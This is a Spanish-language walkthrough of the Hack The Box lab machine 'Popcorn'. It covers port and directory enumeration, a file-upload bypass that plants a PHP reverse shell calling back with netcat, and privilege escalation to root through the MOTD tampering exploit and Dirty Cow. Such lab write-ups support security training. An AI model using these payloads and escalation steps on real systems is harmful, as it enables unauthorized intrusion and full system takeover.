Popcorn

OS: Linux
Dificultad: Medio
Puntos: 30

Nmap

ports=$(nmap -p- --min-rate=5000 -T4 10.10.10.6 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p $ports -sV -sC 10.10.10.6
Nmap scan report for 10.10.10.6
Host is up (0.026s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open  http    Apache httpd 2.2.12
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Did not follow redirect to http://popcorn.htb/
Service Info: Host: popcorn.hackthebox.gr; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeracion

Nmap nos muestra un dominio popcorn.htb el cual agregamos a nuestro archivo hosts.

echo "10.10.10.6      popcorn.htb" >> /etc/hosts

El puerto 80 solo nos muestra una pagina con texto sin mucha informacion.

Enumeramos directorios y vemos 2 en particular test y torrent.

gobuster dir -u http://popcorn.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://popcorn.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 288]
/.hta                 (Status: 403) [Size: 283]
/.htpasswd            (Status: 403) [Size: 288]
/cgi-bin/             (Status: 403) [Size: 287]
/index                (Status: 200) [Size: 177]
/index.html           (Status: 200) [Size: 177]
/test                 (Status: 200) [Size: 47359]
/torrent              (Status: 301) [Size: 312] [--> http://popcorn.htb/torrent/]

Vemos que el directorio test nos muestra la informacion de PHP.

Y en el directorio torrent esta la aplicacion Torrent Hoster.

Torrent Hoster File Upload

Investigando sobre el aplicativo identificamos que tiene una vulnerabilidad asociada a Insecure File Upload. Despues de testearla no se logro que funcionara.

Sin embargo una vez que nos creamos una cuenta y nos autenticamos podemos subir un archivo torrent.

Utilizamos alguno de estos archivos como prueba y lo subimos al servidor.

Vemos que nos aparece el siguiente icono donde podemos modificar la imagen del torrent.

Reverse shell

La aplicacion solo verifica el Content-Type por lo tanto nos podemos saltar la restriccion usando Content-Type: image/png.

Para explotar la vulnerabilidad primero crearemos nuestro archivo php con la reverse shell.

echo '<?php system("nc 10.10.14.5 1234 -c bash");?>' > shell.php

Subimos el archivo a la aplicacion, interceptamos la comunicacion con BurpSuite y modificamos la peticion como se muestra en la imagen.

Veremos que se subio correctamente nuestro archivo php. Ponemos a la escucha nuestro netcat.

nc -lvnp 1234

Consultamos nuestro archivo en la siguiente ruta.

http://popcorn.htb/torrent/upload/

Al dar clic en nuestro archivo nos regresara una reverse shell y con el comando de python nos creamos una tty.

python -c "import pty;pty.spawn('/bin/bash')"

Escalacion de Privilegios

En el directorio /home/george/.cache identificamos un archivo relacionado con motd.

ww-data@popcorn:/home/george/.cache$ ls -la
total 8
drwxr-xr-x 2 george george 4096 Mar 17  2017 .
drwxr-xr-x 3 george george 4096 Oct 26  2023 ..
-rw-r--r-- 1 george george    0 Mar 17  2017 motd.legal-displayed

MOTD File Tampering (CVE-2010-0832)

PAM MOTD se refiere a una combinación de PAM (Pluggable Authentication Modules) y MOTD (Message of the Day), que son mecanismos utilizados para mostrar un mensaje al usuario cuando inicia sesión en un sistema.

Hacemos una busqueda de vulnerabiliades y encontramos que puede llegar a ser vulnerable a los siguientes exploits.

searchsploit motd
-------------------------------------------------------------- ---------------------------------
 Exploit Title                                                |  Path
-------------------------------------------------------------- ---------------------------------
Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Pri | linux/local/14273.sh
Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Pri | linux/local/14339.sh
MultiTheftAuto 0.5 patch 1 - Server Crash / MOTD Deletion     | windows/dos/1235.c
-------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Verificamos la version que esta utilizando el servidor.

www-data@popcorn:/$ cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=9.10
DISTRIB_CODENAME=karmic
DISTRIB_DESCRIPTION="Ubuntu 9.10"

Como vemos la version del servidor es identica a la del exploit publico. Nos descargamos el script sh a nuestra maquina.

searchsploit -m linux/local/14339.sh
  Exploit: Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (2)
      URL: https://www.exploit-db.com/exploits/14339
     Path: /usr/share/exploitdb/exploits/linux/local/14339.sh
    Codes: CVE-2010-0832
 Verified: True
File Type: Bourne-Again shell script, ASCII text executable
Copied to: /root/htb/Popcorn/14339.sh

Levantamos un servidor web para compartir el archivo a la maquina vulnerable.

python3 -m http.server 80

Descargamos el script.

www-data@popcorn:/var/www$ wget http://10.10.14.5/14339.sh
wget http://10.10.14.5/14339.sh
--2025-01-10 15:08:53--  http://10.10.14.5/14339.sh
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3042 (3.0K) [text/x-sh]
Saving to: `14339.sh'

100%[======================================>] 3,042       --.-K/s   in 0.001s  

2025-01-10 15:08:53 (2.88 MB/s) - `14339.sh' saved [3042/3042]

Le damos permisos de ejecucion.

www-data@popcorn:/var/www$ chmod +x 14339.sh
chmod +x 14339.sh

Ejecutamos el script y solo es cuestion de ingresar el password toor para obtener una shell como root.

./14339.sh

Dirty Cow (CVE-2016-5195)

Tambien hay otra forma de escalar privilegios. Vemos que el kernel de linux que esta usando el servidor es un poco antiguo.

www-data@popcorn:/var/www$ uname -a
uname -a
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux

Investigando exploit ubicamos Dirty Cow que afecta a kernels 2.6.22 < 3.9. Utilizaremos el siguiente script para explotar la vulnerabilidad.

Descargamos el archivo en la maquina.

www-data@popcorn:/tmp$ wget http://10.10.14.5/dirty.c
wget http://10.10.14.5/dirty.c
--2025-01-10 15:34:13--  http://10.10.14.5/dirty.c
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4815 (4.7K) [text/x-csrc]
Saving to: `dirty.c'

100%[======================================>] 4,815       --.-K/s   in 0.001s  

2025-01-10 15:34:14 (7.51 MB/s) - `dirty.c' saved [4815/4815]

Lo compilamos de la siguiente forma en el servidor.

gcc -pthread dirty.c -o dirty -lcrypt

Ejecutamos el binario y tardara un poco en finalizar.

./dirty

Cuando finalice solo nos conectamos de la siguiente forma.

su firefart

Referencias

https://www.exploit-db.com/exploits/14339
https://github.com/firefart/dirtycow